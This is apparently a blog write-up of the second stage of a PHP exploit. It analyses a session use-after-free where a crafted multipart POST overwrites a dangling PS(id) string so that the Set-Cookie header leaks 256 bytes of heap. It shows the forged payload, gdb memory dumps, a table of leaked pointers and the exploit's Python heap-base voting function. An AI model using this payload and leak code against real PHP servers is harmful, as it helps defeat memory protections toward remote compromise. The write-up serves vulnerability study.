Now, let us look at stage of of the exploit – heap base leakage. This is one of the most interesting and complicated part of this exploit, memory forge is crafted in a clever way.
I am hitting on some trouble debugging PHP from the host with lldb, so this time I am swtiching to a more reliable way: debugging inside the container with gdb instead.
First of all, let us have a look at the content in in stage 2.
--COOKIE-LAB-BOUNDARY^MContent-Disposition: form-data; name="PHPSESSID"^M^Ma^M--COOKIE-LAB-BOUNDARY^MContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"^M^Mpwn^M--COOKIE-LAB-BOUNDARY^MContent-Disposition: form-data; name="1000"^M^Mv0000xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx^M...--COOKIE-LAB-BOUNDARY^MContent-Disposition: form-data; name="1999"^M^MAAAAAAAAAAAAAAAA^@^A^@^@^@^@^@^@LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^M--COOKIE-LAB-BOUNDARY--^M
field 1999 is the critical one. Let us debug this one. We set a condintional breakpoint on this:
b php_register_variable_ex if strcmp(var_name, "1999") == 0
Breakpoint 4.2, php_register_variable_ex (var_name=0x75714e662010 "1999", val=0x7ffd73887f90, track_vars_array=0x5ad880cc79c0 <filter_globals>) at /usr/src/php/main/php_variables.c:109109 in /usr/src/php/main/php_variables.c(gdb) p val->value.str->len$2 = 79(gdb) x/80bx val->value.str->val0x75714e655088: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410x75714e655090: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410x75714e655098: 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x000x75714e6550a0: 0x4c 0x41 0x41 0x41 0x41 0x41 0x41 0x410x75714e6550a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410x75714e6550b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410x75714e6550b8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410x75714e6550c0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410x75714e6550c8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410x75714e6550d0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x00
Now, let us have a look at PS(id)
p ps_globals.id$6 = (zend_string *) 0x75714e673000(gdb) x/4gx 0x75714e6730000x75714e673000: 0x4141414141414141 0x41414141414141410x75714e673010: 0x0000000000000100 0x414141414141414cp/x *(zend_string *)0x75714e673000$8 = {0x4c, 0x41 <repeats 50 times>} (256 bytes total) = { gc = { refcount = 0x41414141, u = { type_info = 0x41414141 } }, h = 0x4141414141414141, len = 0x100, val = {0x4c, 0x41 <repeats 50 times>} (256 bytes total)}
Amazing! ps_globals.id contains the payload we sent, which means it can be controlled.
Note here: if only “1999” has the forged bytes, and “1999”‘s val[] landed at 0x75714e655088, how did the same pattern end up at 0x75714e673000 (PS(id))? The answer: PHP registers each POST variable multiple times — once for $_POST, once for filter globals, possibly once for $_REQUEST. Each registration copies the value. We caught the filter_globals registration (note track_vars_array=<filter_globals> in the breakpoint). An earlier registration of the same field “1999” allocated a different copy at 0x75714e673000 — and that copy is the one that landed on PS(id). Same field, same forged bytes, different copy. Not a spray — a precise placement aided by the 53 grooming fields before it.
Let us have a look how the heap based finally leaked:
x/32gx 0x75714e6730180x75714e673018: 0x414141414141414c 0x41414141414141410x75714e673028: 0x4141414141414141 0x41414141414141410x75714e673038: 0x4141414141414141 0x41414141414141410x75714e673048: 0x0041414141414141 0x000075714e6730a00x75714e673058: 0x0000000000000000 0x00000000000000100x75714e673068: 0x8000000000000000 0x00005ad87fd129300x75714e673078: 0xc3507157459fd15f 0x000075714e6730400x75714e673088: 0x53504850203a6569 0x64313d44495353450x75714e673098: 0x7a49f9f703444f59 0x000075714e6730f00x75714e6730a8: 0x6332363430393139 0x203b6234353539320x75714e6730b8: 0x43507157459fd15f 0x000075714e6731000x75714e6730c8: 0x0000000000000000 0x00000000000000000x75714e6730d8: 0x0000000000000000 0x00000000000000000x75714e6730e8: 0x2a49f9f703444f59 0x000075714e6731400x75714e6730f8: 0x03517157459fd15f 0x000075714e6731400x75714e673108: 0x0000000000000000 0x0000000000000000
Leaked heap data (bytes 56–255, the gold):
| Offset | Address | Value | Type |
|---|---|---|---|
| +56 | 0x673050 | 0x000075714e6730a0 | Heap ptr #1 |
| +64 | 0x673058 | 0x0000000000000000 | zero |
| +72 | 0x673060 | 0x0000000000000010 | size field |
| +80 | 0x673068 | 0x8000000000000000 | flags |
| +88 | 0x673070 | 0x00005ad87fd12930 | Code ptr (low 21 bits = 0x112930 = DTOR_LOW21) |
| +96 | 0x673078 | 0xc3507157459fd15f | hash |
| +104 | 0x673080 | 0x000075714e673040 | Heap ptr #2 |
| +112 | 0x673088 | "ie: PHPS" | ASCII — part of Cookie: PHPSESSID= |
| +120 | 0x673090 | "ESSID=1d" | ASCII — session ID |
| +136 | 0x6730a0 | 0x000075714e6730f0 | Heap ptr #3 |
| +168 | 0x6730c0 | 0x000075714e673100 | Heap ptr #4 |
| +208 | 0x6730f0 | 0x000075714e673140 | Heap ptr #5 |
| +232 | 0x673100 | 0x000075714e673140 | Heap ptr #6 |
0x75714e6730a0 & ~0x1FFFFF = 0x75714e600000
0x75714e673040 & ~0x1FFFFF = 0x75714e600000
0x75714e6730f0 & ~0x1FFFFF = 0x75714e600000
0x75714e673100 & ~0x1FFFFF = 0x75714e600000
0x75714e673140 & ~0x1FFFFF = 0x75714e600000
6 pointers agree (need 4) → heap_base = 0x75714e600000
The code snippet in the exploit to find the heap base, it needs 4 votes for the heap base.
def heap_candidate(cookie: bytes) -> int | None: if len(cookie) != 256: return None candidates = [] for alignment in range(8): # try all 8 byte offsets words = (struct.unpack_from("<Q", cookie, pos)[0] for pos in range(alignment, len(cookie) - 7, 8)) counts = collections.Counter( value & ~CHUNK_MASK # mask to 2MiB chunk base for value in words if HEAP_MIN <= value < HEAP_MAX # keep only heap-range values ) if counts: base, hits = counts.most_common(1)[0] # most popular chunk base candidates.append((hits, alignment, base)) if not candidates: return None hits, _alignment, base = max(candidates) return base if hits >= MIN_POINTER_AGREEMENT else None # need 4+ votes
Below is a summary of stage 2 heap base leak process:
Stage 1:
- PHP starts a session → allocates a zend_string for the session ID at 0x75714e673000
- PS(id) = 0x75714e673000 (valid pointer to a valid string)
- OOM hits → zend_bailout() → longjmp skips cleanup
- The heap memory at 0x75714e673000 gets freed back to ZMM, but ZMM doesn’t zero it
- PS(id) still points to 0x75714e673000 , now a dangling pointer to freed memory
Stage 2: - Consumer arrives on the same worker. 55 multipart fields trigger new allocations
- ZMM reuses freed memory — one field’s zend_string gets allocated such that its val[] starts at 0x75714e673000
- The forged bytes (0x41…41, 0x100, 0x4c…) are written into val[] overwriting the freed memory at 0x75714e673000
The corruption: - PS(id) still points to 0x75714e673000 — PHP thinks it’s a zend_string
- It reads len at offset +0x10 → finds 0x100 (256) instead of the original ~32
- Set-Cookie: PHPSESSID= reads 256 bytes from val[] → leaks heap
Clearly, this is a UAF vulnerability. So PS(id) is a stale pointer that was never cleared. The forged payload overwrote the memory it points to. PS(id) doesn’t know the memory changed — it just reads whatever is there now.
The UAF process is explained in the following picture.

Leave a Reply